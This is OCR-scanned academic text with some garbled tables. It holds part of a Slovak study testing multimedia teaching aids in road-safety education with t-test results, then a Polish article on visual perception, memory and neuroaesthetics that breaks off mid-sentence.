> & S |8 & |2 |=2|a[0>=2=|=2]|>= '
EXP-1 | 107 | 2971|316 | 998 |33 [30 |28 |33 |20 |33 |13 2209'311;?
T
CON-L | 107 | 2882 | 372 | 1386 |28 |20 |28 |32 |14 |33 | 19 )(28'02; 29.52
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The first output from the processing of collected data in table 1, which con-
tains basic descriptive statistics of the data set, i.e. arithmetic mean, median,
modal value, variation interval and quartiles.

The following frequency tables offer the basic idea of the final didactic test
results in subgroups of the statistical sample set. It is then possible to create fre-
quency histograms (Graphs 1, 2). For this purpose, we made a table of frequen-

cy, which is sometimes called the frequency table.

Table 2 reflects values of the variable in the experimental group. Table 3 re-

flects values of the variable in the control group.

Table 2. The Frequency Table for the Experimental Group H1

Points Frequency PEe)r(cE)eer?:;ge Percentage Fcrgé?;;:g;vf/o
20.00 2 0.9 1.9 1.9
22.00 1 0.5 0.9 2.8
23.00 2 0.9 19 4.7
24.00 3 14 2.8 7.5
25.00 5 2.3 4.7 12.1
26.00 5 2.3 4.7 16.8
27.00 5 2.3 47 215
28.00 10 47 9.3 30.8
29.00 6 2.8 5.6 36.4
30.00 18 8.4 16.8 53.3
31.00 13 6.0 12.1 65.4
32.00 9 42 8.4 73.8
33.00 28 13.0 26.2 100.0
Total 107 49.8 100.0

Table 3. The Frequency Table for the Control Group H1

Points Frequency PEe)le:r?::ge Percentage F?:(;Elélnf;v;)
14.00 1 0.5 0.9 0.9
16.00 1 0.5 0.9 1.9
18.00 2 0.9 1.9 3.7
19.00 1 0.5 0.9 4.7
22.00 3 14 2.8 7.5
23.00 1 0.5 0.9 8.4
25.00 3 14 2.8 11.2
26.00 6 2.8 5.6 16.8
27.00 7 3.3 6.5 23.4
28.00 17 7.9 15.9 39.3
29.00 14 6.5 13.1 52.3
30.00 17 7.9 15.9 68.2
31.00 7 3.3 6.5 74.8
32.00 10 4.7 9.3 84.1
33.00 17 7.9 15.9 100.0
Total 107 49.8 100.0
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It is clear from the Frequency tables 2, 3, and then the generated histogram
compared with a curve of normal distribution that the data are not normally dis-
tributed, as confirmed by the QQ plot.

Hormal G-Q Plot Homal G-0 Plat
Experimental group Control gropu

34 3=

]
1

]
1

]
1

IS
]

(2]
=
|

Expected value of normal distribution

Expected value of normal distribution

Values Values
Graph 1. The Approximation of the Distribution of the Variable COG Frequency
to a Normal Distribution

Graph 1 shows the histogram of the variable COG in the experimental and
control groups. It is covered by the ideal curve (density) of the normal distribu-
tion (the Gaussian curve). From the results, it is noted that pupils achieved in the
didactic test different scores and they were placed in a variety of qualitative in-
tervals within the same scale. The highest score of the didactic test was achieved
by a pupil from experimental and control group (33 points). The lowest score of
the didactic test was achieved only by a pupil from the control group (14 points).
Arithmetic averages of both groups show that pupils from the experimental
group were better of less than 1 point, at average, than pupils from the control
group. By comparing the root-mean-squares, it is noted that the homogeneity of
both groups is comparable, thus MTA does not significantly increase nor reduce
the dispersion of the values of scores of individual pupils. The presumption of
pupil performance differences was proved for the sample evidence by descrip-
tive statistics. In order to generalize the argument as a basic set, it is necessary to
make an inductive statistical analyze.

According to the analysis of the characteristics of both groups, we can con-
firm that it is reasonable to test the hypothesis H1, which says that pupils in the
experimental group achieve statistically significantly better results than pupils in
the control group when taking the final didactic test focused on the issue of road
safety education. This means that we test the hypothesis:
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HO: Median value (estimated by the arithmetical average) of experimental
and control group is the same.

To verify this hypothesis, we used the T-test of two choices. This test works
with a variable that is the choice of the normal distribution and assuming equal
scatters. It was necessary to perform also a test for equal scatters, the so-called
Leven F-test for the correctness of the calculations. We used a statistical system
which calculates the two possible cases (including the equality of scatters as well
as its inequality) - Therefore, the outputs of the table 4 are sufficient for us.

Because of this, we take into account the results from the bottom line (the
output of the statistical system SPSS for two-sided alternative, where p (T-test)
= 0.061 (for two-side d alternative) and p (T-test) = 0.0305 <0.05 (for one-sided
alternative), thus we reject the hypothesis HO. We summarily show the outputs
from the system SPSS of T-test in table 4.

Statistical testing using the T-test confirmed the significance of differences
between the performance of experimental group and control group is made by
the use of MTA designed by us.

Table 4. The T-test with Two Choices on the Equality of the Median Values for Hypothesis H1

IE%esr: T- test on the Equality of the Median Values
P— Standard | 95% konf. Inter-
P- value Diffe- Error of | val for the Scatter
= value T Df two- rence of | the Dif-
of F- sided Median | ference of D U
test alterna- | Values Median oWl pper
tive Values
equality 0.122| 0.728 | . 212 0.061 | -0.88785 | 0.47208 |-1.81842 | 0.04272
of scatters 1.881
inequality N 206.523 0.061 -0.88785 0.47208 | -1.81856 | 0.04286
of scatters 1.881

The T-test confirmed that the difference of averages of the total score of the
final didactic test of the independent variable COG was not random, but it was
statistically significant at significance level a = 0.05, which ==jects t2» hypothe-
sis HO on equality of averages over the one-sided alternative X exp > X con.

Interpretation of the results of the T-test is that if the same teacher taught in
any other class of the basic sample using MTA as in the experimental class
(sample), then pupils would reflect, with greater probability than 95%, the op-
eration of this MTA in the same way and with the same difference of scores of
the variable COG as pupils from the sample set.

The research results confirm the assumptions made in the working hypothe-
sis H1. We argued that pupils in the experimental group achieve statistically
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significantly better results than pupils in the control group when taking the final
didactic test focused on the issue of road safety education. Thus, the perfor-
mance in the cognitive field of pupils from the experimental group, which uses
the proposed MTA during the lessons, would be better than in the control group.
Hypothesis H1 was confirmed, and its validity can be generalized to a basic set
of pupils.

Conclusion

The overall concept of Technical Education in modern schools of Slovakia
(in school education programs) was given into a systematic work through indi-
vidual educational subject (compulsory lessons for all pupils in primary school),
teaching aids of a good quality, instructional texts, or through extra-curricular
activities that develop theoretical and practical knowledge of pupils.

Technical Education has been a part of education at primary schools in Slo-
vakia for many years. Its level was very good particularly in the 90s. In the past,
a relatively large number of teaching materials and teaching aids of a good quali-
ty was provided. Topics promoting the issue of Technical Education become
a part of textbook for primary schools. There was and there still is rich experi-
ence with projects and competitions.

The experiment showed that the pupils using MTP absorb knowledge easier
and are more active during classes. The final result is not as significant as ex-
pected: it improved, but the difference is not relevant, in fact the experimental
group achieved only less than 1 point more than the control group in average.

If we try to find a common denominator of the following chapters, then it
is our desire to promote the issue of Technical Education at Slovak primary
schools, whose quality is to be a guaranteed and functioning system. A crea-
tion and implementation of modern multimedia teaching aids give a good op-
portunity to it. It depends on people (teachers) who create and implement it
together. In case of Technical Education, there is no doubt that the effort is
worthwhile.
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Streszczenie

Za pomoca zmystu wzroku poznajemy struktur¢ otoczenia, rozpoznajemy twarze, przedmioty,
zdarzenia, dlatego percepcja taczona jest z widzeniem. Dowolny komunikat wizualny potaczony jest
z uruchomieniem wyobrazni. Mechanizm taki dziata, kiedy dociera bodziec wizualny wyczerpujacy
znamiona sztuki. Uruchamiana jest wtedy inna wrazliwos$¢ percepcyjna. Interesujace jest, czy mozna
widzie¢ obrazy bez odbierania zadnych bodzcow zewngtrznych? Jednym z takich procesoéw jest sen.
W czasie snu powstaja fantomy — halucynacje, nazywane rzekomym postrzeganiem. Powoduja one
pelne realnosci wrazenia, chociaz oczy nie braty w nich udziahu. Nieistniejaca realno$¢ wytwarzana
jest w mézgu. Czy mozna widzie¢ nieistniejace obrazy nie zapadajac w sen?

Summary

Using the sense of sight we know the structure of the environment, recognize faces, objects, and
events. Perception is most often combined with vision. Any visual message is combined with the launch
of the imagination. Such a mechanism works, for example, when you reach art visual stimulus. Runs is
other perceptual sensitivity. It is interesting if you can see the images without receiving any external
stimuli? One such process is the dream. The phantoms formed during sleep - hallucinations, called the
alleged perception. They cause the full reality of the experience, although his eyes did not take part in
them. Non-existent reality is produced in the brain. If you can see non-existent images not sleeping?

Wstep
Wozrok dostarcza szczegétowych informacji o $wiecie zewngtrznym.

Od dawna wiadomo jak zmieniajace si¢ wzory $wiatta docierajace na siatkowke
oka zamieniane sg na pobudzenia nerwowe. Nie ma pewnosci, w jaki sposob
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mozg przetwarza dane i jaki jest mechanizm ich interpretowania, jednak badania
z ostatnich lat przynosza w tym obszarze zasadnicze zmiany. Postawmy pytanie:
czy mozemy zobaczy¢ nieistniejace obrazy? Czy mozna udowodnié, ze kto$
rzeczywiscie widziat to co nie istnieje? Czy nowoczesna technologia informa-
cyjna moze poméc w weryfikacji takiego zjawiska?

Pierwsza kwestia jest trudna do wiarygodnej oceny, poniewaz odpowiedz
jest bezposrednio zwigzana z subiektywng relacja pytanej osoby. Odpowiedz na
drugie pytanie jest jeszcze trudniejsza. Jak udowodnié, ze osoba, ktora mowi, iz
widzi jaki$ nieistniejacy obraz, rzeczywiscie go dostrzegata. Odpowiedzi nalezy
szukaC rozpatrujac pytanie trzecie. Istnieje sposob informatyczny, za pomoca
ktoérego mozna sprobowaé wyjasni¢ takie zjawisko. Technika tg jest eyetracking.

Z pomoca wzroku poznajemy struktur¢ otoczenia, rozpoznajemy twarze,
przedmioty, odbieramy zdarzenia. Dlatego wtasnie percepcja najczesciej taczona
jest z widzeniem. System wzrokowy musial zosta¢ przystosowany do spelniania
dwoch funkcji: pierwszej — powiazanej z oddziatywaniem na otoczenie, drugiej
— 7 jej reprezentacja’. Oba te cele sa realizowane w moézgu. W drodze ewolucji
te rozne obszary zostaly rozdzielone na dwa, prawie odrebne niezalezne ,,mozgi
wzrokowe”. Teoria taka wydaje si¢ by¢ nieco dziwna, bo trudno jest manipulo-
wacé przedmiotem zanim si¢ go spostrzeze, ale jest tak tylko wtedy, gdy okresle-
nie ,,percepcja”’ uzywa sie ogoélnie w znaczeniu prostego analizowania wejscio-
wych danych zmystowych. Jest rowniez inne, $cislejsze okreslenie percepcji.
Polega ono na przypisywaniu znaczenia i istotno$ci, przedmiotom oraz zdarze-
niom. Doprecyzowujac, spostrzezenie posiada znaczenie zwigzane z przezywa-
niem i fenomenologicznym do$wiadczaniem $wiata.

1. Widzenie

Proces widzenia mozemy w uproszczeniu poréwna¢ do wykonania trady-
cyjnej fotografii>. Na matowce aparatu fotograficznego, tak jak na siatkéwce oka
powstaje maty, odwrocony obraz obserwowanego obiektu. W aparacie powstaty
obraz poddawany jest procesom chemicznym, natomiast obraz docierajacy do
siatkowki oka pada na preciki i czopki. Taki obraz przetwarzany jest przy
wspotdziataniu obydwu elementéw i za poOsrednictwem nerwu wzrokowego,
dociera do mozgu.

L A.D. Milner, M.A. Goodale, Cortical visual systems for perception and action. In Perce-
ption, Action and Consciousness: Sensorimotor Dynamics and Two Visual Systems. Gangopadh-
yay, N., Madary, M. & Spicer, F. Oxford: Oxford University Press, 2010.

? Fotografia tradycyjna utrwala obraz na kliszy fotograficznej, poddawanej obrébce chemicz-
nej w procesie wywolywania i utrwalania. Wspoélczesnie fotografia cyfrowa zapisuje powstate
obrazy na matéwce aparatu na polprzewodnikowych nosnikach danych nazywanych ,kartami
pamigci”.
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Proces widzenia jest aktem tworczym, wykraczajacym poza sfere informacji
przekazywanej przez obraz obserwowanego obiektu. Obraz rzutowany na siat-
kowke oka podlega systematycznym zmianom. Dlatego wtasnie na tylnej $cianie
oka otrzymujemy obrazy nieciagte. W istocie proces widzenia jest stabilny. Ale
cztowiek nie dostrzega przerw w doplywie informacji wzrokowej, pozostajac
caly czas w trojwymiarowej przestrzeni. Doznania wzrokowe nie kopiuja rze-
czywistosci rejestrowanej na siatkowce oka, lecz sa wypadkowa aktywnosci
moézgu przetwarzajacego obrazy dostarczone przez wiele kolejnych fiksacji’.

Z widzeniem bez odbierania zadnych bodzcow zewngtrznych zwiazany jest
sen. Podczas snu, impulsy czuciowe sa prawie zupetlie wylaczone. Jednak kora
wzrokowa znajduje si¢ w fazie czuwania, usitujgc wykonywaé swoje zadania.
Zadania polegaja na przetwarzaniu informacji. Informacje zewngtrzne jednak nie
nadchodza. Brak danych aktywuje podwyzszong aktywnos$¢ neuroprzekaznikow,
a kora wzrokowa otrzymuje sprzeczne informacje. W trakcie faz snu REM?*,
kora wzrokowa otrzymuje informacje, o poruszajacym si¢ ciele chociaz w rze-
czywistosci pozostaje 0no rozluznione i nieruchome. Kora mézgowa zada in-
formacji ze $wiata zewnetrznego, a poniewaz takie nie nadchodza, podejmuje
odzyskiwanie ich z aktualnie przetwarzanych procesow, ,,wymyslajac cos”, co je
moze taczy¢, aby moc pracowaé dalej’. W taki sposob powstaja fantomy — halu-
cynacje, nazywane rzekomym postrzeganiem. Powoduja one pelne realnosci
wrazenia, chociaz wzrok nie dziata. Realnos¢, jak cecha immanentna procesowi
widzenia, wytwarzana jest w mozgu w postaci ,,skrzywionej percepcji”.

2. Korelacje obrazow i pamieci

Zjawisko pamigci jest mechanizmem ztozonym i réznorodnym, badanym
i opisywanym w rozmaity sposob. Zasygnalizujemy kilka najwazniejszych in-
formacji. W literaturze przedmiotu opisane sa dwie metody ujmowania organi-
zacji pamieci. Pierwsza méwi o odrgbnych systemach pamieciowych, druga
opiera si¢ wlasnie na przetwarzaniu informacji w obszarze wspotdziatania od-
rebnych systeméw pamigciowych.

W ujeciu historycznym inspiracja takiego podziatu byty prace badawcze nad
modelami pamigci stosowanymi w pierwszej generacji komputerow. Multikana-

% Fiksacja — krotkie zatrzymanie wzroku na obserwowanym elemencie. Fiksacja trwa $rednio
od 0,25 do 1,5 sekundy.

* REM - (rapid eye movement); plytki, paradoksalny sen. W tej fazie snu wystepuja najcze-
$ciej marzenia senne. Nastgpuje catkowite rozluznienie migéni, dlatego $nigcy o ruchu cztowiek
nie porusza sig.

® D. Casacuberta, Umyst. Czym jest i jak dziata?, Swiat Ksiazki, Warszawa 2007.
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towos¢ pamigci ludzkiej jest teorig obecnie dominujaca, ale nie ustalono, ktore
systemy sa fundamentalne istotne dla pamigci cztowieka. Problematyka przetwa-
rzania informacji czerpie inspiracj¢ z teorii informacji i sztucznej inteligencji.
Poréwnywanie algorytmow zaimplementowanych dla metody dziatania kompu-
tera 1 umystu cztowieka, (mamy na mysli rodzaje pamieci) tylko w niewielkich
obszarach jest zbiezne. W maszynie umieszczono pami¢¢ operacyjng i trwala,
u cztowieka wyodrebnia si¢ pamig¢ krotkotrwatg i dlugotrwatg. W latach 70. XX
wieku w wielu pracach® stwierdzano istnienie dwoch lub trzech typoéw pamigci:
sensorycznej, krotkotrwatej, dtugotrwate;.

Wszystkie typy pamieci, jako pewna forma idei znalazty koncentracje
w wielomagazynowych modelach pamigci. Zatozono, kierujac si¢ wczesniej
wspomniang logika dziatania komputerdéw, ze informacje docierajace do umystu
podlegaja transformacji. Jesli transformacja zachodzi w roznych obszarach ukta-
du poznawczego, to muszg wystgpowac struktury umozliwiajgce podtrzymywa-
nie tych informacji.

Pamie¢¢ krotkotrwata traktowana jest jak pamig¢ robocza, a czas pozostawa-
nia informacji w rejestrze krotkotrwatym jest odpowiedzialny za prawdopodo-
bienstwo przekazania informacji dalej. Mamy tu na mysli: powtarzanie, pozwa-
lajace na dluzsze przechowanie informacji, podejmowanie decyzji, kodowanie
informacji z przeznaczeniem do dtugotrwatego pamigtania.

Magazyn dtugotrwaly jest najbardziej pojemnym obszarem naszej pamieci.
Jego najbardziej charakterystyczng cecha jest trwato$¢ zapamigtywania. Prowa-
dzone badania nad poznaniem sposobu trwalego zapamigtywania wskazuja na
zakodowanie informacji wedtug kryterialnego klucza semantycznego. W ramach
wystepujacych konotacji uwaza sie, ze jednym ze stosowanych kodow moze by¢
kod obrazkowy. Nie wystarcza to jednak do opracowania kompletnego schematu
organizacji informacji w pamieci dlugotrwatej. Odtwarzanie zapamictanych
i zmagazynowanych zasobow informacji pozostaje w $cistej relacji ze zorgani-
zowaniem i strategiag poszukiwan w procesie odwrotnym.

Zaproponowany homogeniczny model pamigci opierat si¢ na koncepcji po-
ziomoOw przetwarzania informacji lub gltebokos$cia przetwarzania. Przyjecie ta-
kiego stanowiska degradowato role pamigci do ubocznego produktu percepcji
zmystowej, a nadto wyodrebnialo nowe pojecie trojpoziomowego przetwarzania
informacji. Powstajacy $lad pamigciowy jest zatem zapisem procesOw rozumie-
nia, kategoryzacji oraz réznicowania.

®R.C. Atkinson, R.M. Shiffrin, The Control Processes Of Short-Term Memory, Technical
Report 173, Psychology Series, Stanford University, California 1971; M. Coltheart, On
Rumelhart's model of visual information-processing, ,,Canadian Journal of Psychology”, Vol. 26
(3), 1972; A. Luria, The Working Brain, Introduction to neuropsychology, Basic Books, New York
1973.
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Najnizszym poziomem analizy jest poziom sensoryczny. Jego dzialanie cha-
rakteryzuje automatyzacja przyjmowania bodzca oraz jego analiza wyodrgbnia-
jaca. Dotyczy to whasnosci fizycznych taki jak: ksztalt, barwa, jasno$¢, natgzenie
dzwigku, ruchu i innych.

Drugi poziom zapewnia identyfikacje. Wyodrebnienie pewnej cechy kon-
kretnego bodzca poréwnywane jest z wzorcami i regutami zakodowanymi wcze-
$niej. Poziom ten utozsamiany jest z pamie¢cig krotkotrwalg, a utrwalenie ziden-
tyfikowanego bodzca odbywa si¢ przy procesie repetycji.

Trzeci, najglebszy poziom, opiera si¢ na semantycznej analizie i interpreta-
cji. Proces analizy moze by¢ inicjowany wielokrotnie, nie posiadajac przy tym
ograniczenia czasowego. Dlatego proces ten uwazny jest za decydujacy dla za-
pamigtywania.

Wszystko, co wczesniej powiedziano o poziomach przetwarzania informa-
cji, oparte bylo na dziataniach w zakresie kodowania. W dalszych badaniach
zauwazono, ze niezwykle istotne jest rowniez poznanie proceséw wydobywania
informacji. Postawiono teze, ze skuteczno$¢ danej formy aktywnosci w proce-
sach pamieci mozna oceni¢ tylko w odniesieniu do okreslonego sposobu po-
miaru’. Opisana korelacja okreslata warto$¢ danej aktywnosci w oparciu o cel
uczenia si¢ i parametryzowala ocen¢ w kontekscie zadan zwigzanych z przypo-
minaniem. Stad poje¢cie przetwarzania odpowiedniego dla transferu i zasada
specyficzno$ci kodowania uzupetniaja koncepcje poziomow przetwarzania.

3. Zwiazki komunikacji wizualnej i wyobrazni

Dowolny komunikat wizualny nierozerwalnie taczy si¢ z uruchomie-
niem wyobrazni. Uaktywniony mechanizm dziata, kiedy dociera bodziec wizu-
alny wyczerpujacy zmamiona sztuki. Uruchamiana jest wtedy inna wrazliwo$¢
percepcyjna.

Neuroestetyka jest mtoda dyscypling naukowa powstala w ramach nauk ko-
gnitywnych. Gléwnym jej celem jest wyjasnienie zjawisk wchodzacych w sktad
percepcji dzieta sztuki. Neuroestetyka jest konglomeratem kilku dyscyplin nau-
kowych®, ktore osobno nie majg whasciwej mocy sprawczej, aby wyjasnié rozu-
mienie sztuki. Istota nowych badan jest poznanie praw rzadzacych aktywnoscia

" M. Jagodzinska, Psychologia pamieci — badania, teorie, zastosowanie, Helion, Gliwice 2008.

8 Neuroestetyka sktada si¢ z kilku dyscyplin naukowych: psychologii, fizjologii, neurobiolo-
gii. Nazwa neuroestetyka zostata zaproponowana przez Semira Zekiego wspotczesnego neurobio-
loga, zajmujacego si¢ badaniami eksperymentalnymi obszarow w korze mozgowej odpowiedzial-
nych za widzenie w 1999 roku. Wedtug niego kognitywna funkcja sztuki wynika z podstawowych
funkcji sprawowanych przez mozg.
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mozgu cztowieka. Wyjasnieniem, w jaki sposob sztuka oddziatuje na obserwato-
ra, zrozumieniem, jakiego rodzaju bodzcem dla systemu percepcyjno-emo-
cjonalnego jest sztuka.

Specyfika takiego bodzca obejmuje trzy aspekty: wyroznienie z otoczenia,
przyciagnigcie 1 zaabsorbowanie uwagi odbiorcy, poruszenie emocjonalne i wy-
wotanie refleksji zwigzanej z dzietem. Uruchomienie zespotu procesow neurofi-
zjologicznych w moézgu odbiorcy i zwigzane z tym wrazenia sprawia, ze percep-
cja sztuki jest inna niz percepcja zwyktego przedmiotu. Jakie zatem powinny
nastagpi¢ reakcje organizmu czlowieka, aby wywota¢ percepcje estetyczng.
Wskaza¢ mozna trzy czynniki: wzbudzenie uwagi, sprowokowanie niekonwen-
cjonalnego odbioru, wygenerowanie emocji estetycznej.

Wzbudzenie uwagi — jest zabiegiem prostym. Artystyczny pierwiastek po-
winien skupia¢ uwage widza na specjalnie wyselekcjonowanych cechach; kolo-
rze, ksztalcie, nasyceniu barwnym, réznicach w jasnosciach sasiadujgcych ob-
szarow. Taki wyrdznik postrzezeniowy przybiera postac atraktoralng i dziata
mocno kumulatywnie. Uzupetnieniem powyzszego zabiegu jest metoda opisana
przez Ramachandrana i Hirsteina mowiaca o eliminowaniu nieistotnych szcze-
gotow dla podniesienia atrakcyjnosci innych. Innymi stowy — umiar bywa sku-
teczniejszy postrzezeniowo niz nadmiar.

Niekonwencjonalny odbidr, pobudzenie systemu percepcji cztowieka dzie-
lem sztuki, jest nakierowane na nietypowy odbior. Elementy ktore w ,,zwy-
ktych” przedstawieniach tworza zupehie typowe skojarzenia w przypadku sztu-
ki sg przerysowane, poprzesuwane w obszarze kompozycji i pozbawione istot-
nych detali. W takich specyficznych warunkach odbioru zwykte przedmioty,
twarze, postaci, tworza skojarzenia nietypowe, niezwykle, nierozpoznawalne
przez system kodyfikacji, ktory zbudowany jest na do§wiadczeniu zyciowym
i dotychczasowej edukacji. Dlatego bodziec niekonwencjonalny jest zaczynem
do nietypowego percypowania, szukania nowych rozwigzan i nowych skojarzen.

Emocja estetyczna — generowana jest poprzez wyizolowanie bodzca wyj-
sciowego dla podniesienia napigcia w przezywaniu i poznawaniu obrazu.
Wzmocnienie przekazu wizualnego jest realizowane np. przy pomocy prostego
zabiegu zwanego efektem ,,aha”®. Polega on na wdrukowaniu w przekaz wizual-
ny logicznego obrazu, wzoru. System percypowania rzeczywistosci przez czto-
wieka jest wrazliwy na wyszukiwanie logicznej catoSci. Poszukiwanie wzoru
jest automatyczne i dziala na zasadzie taczenia w podzbiory okreslonych ele-
mentow obrazu. Znalezienie logicznych powigzan uktada si¢ we wzor i powodu-
je odczucie przyjemnego wrazenia typu ,,aha”. Takie ,,odkrycie” jest na tyle

®V.S. Ramachandran, W. Hirstein, Nauka wobec zagadnienia sztuki. Neurologiczna teoria
doswiadczenia estetycznego [W:] Studia z kognitywistyki i filozofii umystu, red. A. Klawiter,
W. Dziarnowska, Zysk i S-ka, Poznan 2006.
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silne, ze system nie poszukuje nowych rozwigzan, pozostaje przy znalezionym
wzorze. Do ponownej pracy, musi zosta¢ pobudzony przez wygenerowanie de-
cyzji do dalszych poszukiwan.

Wizualne dzieto sztuki jest z zatozenia zbiorem réznego rodzaju bodzcow
(barwnych, przestrzennych, figuratywnych) i w pewnym uproszczeniu dzieli si¢
na pig¢ elementéw: bodziec iluzyjny, niejednoznaczny, wyolbrzymiony, relacyj-
ny, empatyzujacy. Jaki zatem wplyw na system poznawczo-emocjonalny widza
maja poszczegolne bodzce?

lluzja — powstaje w umysle odbiorcy w postaci: przedmiotu, cechy lub rela-
cji, ktora w rzeczywistosci nie istnieje. Fizyczny bodziec powodujacy taki efekt,
nie zawiera zadnego opisanego elementu. Przyktadem popularnego sposobu
wywolujacego iluzje jest Sztuka Optyczna. Polega na wywolywaniu efektow
dynamiki i przestrzenno$ci przez tworzenie kompozycji uproszczonych kolory-
stycznie o strukturze zrytmizowanej lub reliefowej, wywodzacej si¢ z ekspery-
mentéw neoimpresjonizmu, neoplastycyzmu i Bauhausu. Warunkiem prawidio-
wego odbioru jest przemieszczanie si¢ widza w stosunku do obrazu. Tak wigc
iluzje sa zjawiskami percepcyjnymi, a nie fizycznymi. Pierwsze tego rodzaju za-
biegi stosowano juz dawno. We Wioszech w Patacu Ksigzecym w Mantui (XV wiek)
mozemy odnalez¢ fresk na plaskim suficie z otwarta na niebo koputa (rysunek 1).
Artysta nie tworzy rzeczywistosci, ale jej ,,obraz” i to doktadnie taki, jaki powstaje na
siatkowce ludzkiego oka, gdy oglada ono rzeczywisto$¢ trojwymiarowa.

Rysunek 1. Fresk na suficie Camera degli Sposi, Palazzo Duccale, Mantua

Niejednoznaczno$¢ — definiowana jest w dwoch obszarach. Po pierwsze, al-
ternatywy percepcyjnej i po drugie, niewystgpowania informacji jednoznacznie
rozstrzygajacych'®. Zabiegi wykorzystania niejednoznacznosci sa czesto stoso-
wane przez artystow. Bazuja oni na aktywnym poszukiwaniu przez mozg kon-

WE K. Levy, D.E. Levy, M.E. Goldberg, Art and the brain: The in fluence of art on Roger
Shepard’s studies on mental rotation, “Journal of the History of the Neurosciences” 13, 79-90, 2004.
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strukcji percepcyjnych oraz na prawie statoSci, ktore w zatozeniu polega na
utrwaleniu perceptu i wykluczeniu zaklocen w identyfikacji obiektu.

Wyolbrzymienie — jest w istocie deformacja pewnej konstytutywnej cechy
wizualnej. System percepcyjno-emocjonalny jest silnie uwrazliwiony na prze-
sadne uwypuklenie szczegélu. Do niedawna specjalisci, historycy sztuki, doszu-
kiwali si¢ cech pewnej uwtomnosci percepcyjnej tworcow, nie rozpatrujac efektow
ich tworczosci jako zmierzone dziatanie. Przyktadam moze by¢ El Greco (Domi-
nikos Theotokopulos) podejrzewany o widzenie astygmatyczne, ktore rzekomo
miato by¢ powodem wprowadzonych deformacji w jego obrazach (rysunek 2)
W wiekach mtodszych, w Indiach, rzezba Bogini Parvatti rowniez nacechowana
jest swoistym wyolbrzymieniem (rysunek 3). Przerysowane ksztalty kobiece staja
si¢ Z czasem w hinduizmie uog6lniong personifikacjg kobiecosci. Dobrym przykta-
dem intuicyjnego stosowania wyolbrzymiania cech wizualnych (piciowych) jest
znany przykiad prehistoryczny. Figurka ,.kobiety-matki” sprzed 25-10 tys. p.n.e.
(rysunek 4).

Relacja — istnieje pomigdzy dzietami, a precyzyjniej ujmujac — pomigdzy
elementami dzieta. Zadaniem bodzca relacyjnego jest wywotanie u odbiorcy
procedury poréwnania. Zestawianie detali z réznych przedstawien tworzy swoi-
sty roboczy prototyp wizualny. Lacznos¢ pomiedzy dzielami nie jest wyrazona
wprost, ale zmusza umyst do poszukiwania, pobudza i aktywizuje. Relacyjnos¢
w zasadniczym sensie jest zwyklym bodZzcem wizualnym, ale najskuteczniej
dziata wtedy, kiedy widz posiada doswiadczenie wynikajace z obcowania z ob-
razami innych tworcow. Budowane w ten sposdb asocjacje identyfikacyjne roz-
nych cech kompozycyjnych, aktywizuja sktadowane §lady pamigciowe w pa-
migci dlugotrwatej. Wynika z tego, ze relacyjnos¢ w sztuce jest pochodng twor-
czej transformacji, a nie dziataniem prostego podobienstwa.

Empatia — jest odpowiedzig spoteczng na obserwowang scene (zdarze-
nie). Wielowymiarowo$¢ procesow, ktére dziataja w trakcie percypowania
empatii $§wiadczy o nabytych i wrodzonych dyspozycjach. Badacze wyr6z-
niaja dwa podstawowe profile empatii — kognitywny i afektywny™. W ujeciu
kognitywnym empatia estetyczna odnosi si¢ do zdolno$ci wykrywania psy-
chologicznego stanu podmiotu przedstawionego w dziele. Afektywnos¢ em-
patyczna jest umiejetno$cig przyjmowania psychologicznego stanu innego
podmiotu®.

1'5.D. Preston, F.B.M. Waal, Empathy: Its ultimate and proximate bases. ,,Behavioral and
Brain Sciences”, 25, 2005; J. Decety, P.L. Jackson, The functional architecture of human empathy.
,,Behavioral and Cognitive Neuroscience Reviews”, 3, 2004.

12 M.H. Davis, Empatia. O umiejetnosci wspdlodczuwania (przekt. J. Kubiak), Gdanskie
Wydawnictwo Psychologiczne, Gdansk 1998.
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Rysunek 2. El Greko, Swiety Rysunek 3. Bogini Parvatti Rysunek 4. Wenus
Andrzej i $w. Franciszek w hinduizmie utozsamia z Willendorfu
(1587-1597) kobieco$¢

4. Technika badan

Odpowiedzi na pytanie trzecie, postawione na wstepie, poszukiwano za po-
moca technologii informacyjnych. Dlatego przygotowano materiat eksperymen-
talny. Ekscerpcja taka zwigzana byta bezposrednio z wyksztatceniem i doswiad-
czeniami autoréw. Wybrano specyficzng przestrzen edukacyjng zwigzang z po-
pularyzacja wiedzy, w tym przypadku z historig sztuki.

Wszedzie w atrakcyjnych miejscach turystycznych dostepne sg przewodniki
czy informatory popularyzujace wiedz¢ o historii i spotecznosciach zamieszku-
jacych historycznie te obszary. Bez przestanek subiektywnych wybrano opraco-
wanie upowszechniajace wiedz¢ o Pompejach — starozytnym miescie potozonym
niedaleko Neapolu u stop wulkanu Wezuwiusza, ktérego wybuch zniszczyt mia-
sto, zasypujac je kilkumetrowa warstwa popiotu. Dzisiejsza atrakcja turystyczna
jest przestrzenig edukacyjng, silnie oddziatujaca na zwiedzajacych. Zachowany
zostat historyczny uktad ulic, doméw, sprzetow uzytkowych czy wyposazenia
wnetrz, ktore sg autentycznymi sladami minionych wiekow.

Omawiany informator (przewodnik po wykopaliskach) jest zaprojektowany
W sposob umozliwiajgcy wizualne poréwnanie ruin miasta z rekonstrukcjg za-
proponowang przez specjalistow. Przewodnik dostepny jest w dwoch wersjach:
drukowanej i multimedialnej. Sposob wizualizacji rekonstrukcji oparty jest na
mechanizmie uzupehnienia nieistniejacych obecnie elementow zabudowy i1 wy-
posazenia wnetrz (rysunki 5-8).

230



Idea naktadania brakujacych elementéw zabudowy na ocalate ruiny nie jest no-
wa. W Polsce w latach 90. XX wieku przeprowadzono retrowersje Starego Miasta
w Elblagu. Oczywiscie mowimy tutaj o rzeczywistym nadbudowaniu nowych kamie-
nic na ocalate ruiny oraz odtwarzaniu ukfadu urbanistycznego calego centrum miasta.

Rysunek 5. Swiatynia Fortuna Augusta
(stan obecny)

Rysunek 6. Swiatynia Fortuna Augusta

(rekonstrukcja)

Rysunek 7. Dom Poety Tragicznego
(stan obecny)

Rysunek 8. Dom Poety Tragicznego
(rekonstrukcja)

Dla opisywanego eksperymentu wazna jest tylko idea zwizualizowania
mozliwych pomystéw architektonicznych i archeologicznych odtworzonych
wedtug historycznych $ladow. W Przewodniku zaproponowano 18 odtworzen
stanu pierwotnego. Do badan wyselekcjonowano trzy pary fotogramoéow i byt to
wybor celowy. Wyborowi towarzyszyty dwie przestanki. Po pierwsze, kompo-
zycja fotogramu powinna zawiera¢ relatywnie duze obiekty pierwszoplanowe.
Czynnik taki traktowany byt jako cecha konstytutywna, poniewaz obiekty zaj-
